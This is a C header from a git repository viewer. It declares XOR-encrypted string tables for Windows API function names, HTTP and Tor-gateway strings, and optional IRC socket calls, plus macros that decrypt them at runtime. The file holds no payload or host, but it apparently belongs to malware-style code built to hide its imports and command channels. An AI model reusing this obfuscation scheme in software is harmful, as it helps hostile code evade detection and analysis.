aboutsummaryrefslogtreecommitdiff
path: root/include/crypt_strings.h
blob: 9c411346b5a8caf3454179937909599e51e2d386 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#ifndef STRINGS_H_INCLUDED

struct string {
    const uint8_t len;
    const char* str;
#ifdef _STRINGS_BIN
    const char* name;
#endif
};

#ifdef _STRINGS_BIN
#define STRENT(s) { sizeof(s) - 1, s, #s }
#else
#define STRENT(s) { sizeof(s) - 1, s }
#endif

#ifdef _STRINGS_BIN
#define NULLENT(x) { 0, NULL, #x }
#else
#define NULLENT(x) { 0, NULL }
#endif


#include "xor_strings_gen.h"
enum stridx {
    XOR_STARTFUNCS = 0,
    /* kernel32.dll */
    XOR_KEY_FUNCS_ENUM,
    XOR_KEY_FUNCS_INFO_ENUM,
    XOR_KEY_FUNCS_KERNEL_ENUM,
#if defined(_PRE_RELEASE) || defined(_RUN_TESTS)
    XOR_KEY_FUNCS_DEBUG_ENUM,
#endif
    /* ------------------ */
    XOR_ENDFUNCS,
    /* non-kernel32.dll */
    XOR_KEY_FUNCS_OTHER_ENUM,
    /* ------------------ */
    XOR_ENDFUNCS_OTHER,
    XOR_KEY_HTTP_ENUM,
#ifdef _HTTP_LOCALHOST
    XOR_KEY_HTTP_LOCALHOST_ENUM,
#else
    XOR_KEY_HTTP_WEB2TOR_ENUM,
#endif
#ifdef _ENABLE_IRC
    XOR_SOCK_FUNCS_START,
    XOR_KEY_SOCK_FUNCS_ENUM,  /* Ws32.dll functions */
    XOR_SOCK_FUNCS_END,
    XOR_KEY_SOCK_STRS_ENUM,
#endif
    XOR_KEY_ROOT_ENUM,    /* all non-func strings */
#if defined(_PRE_RELEASE) || defined(_RUN_TESTS)
#ifdef _USE_PIPES
    XOR_KEY_DEBUG_ENUM,   /* additional debug-only strings */
#endif
#endif
    STR_MAX
};


#define CLEN(i)       crypt_len(i)
#define CBUF(i, name) char name[CLEN(i)+1]; name[CLEN(i)] = 0;
#define DBUF(i, name) CBUF(i, name); decrypt_string(i, &name[0])

uint8_t crypt_len(enum stridx i);

char* decrypt_string(enum stridx i, char* plainStrPtr);

int get_string_in_strings(char* strings, char delim, char** pDest, char** pEnd);

int get_string_in_strings_d(char* strings, char** pDest, char** pEnd);

int get_string_in_strings_i(char* strings, char delim, int idx, char** pDest, char** pEnd);

int get_string_in_strings_di(char* strings, int idx, char** pDest, char** pEnd);

void string_restore_delim(char* pEnd);

#endif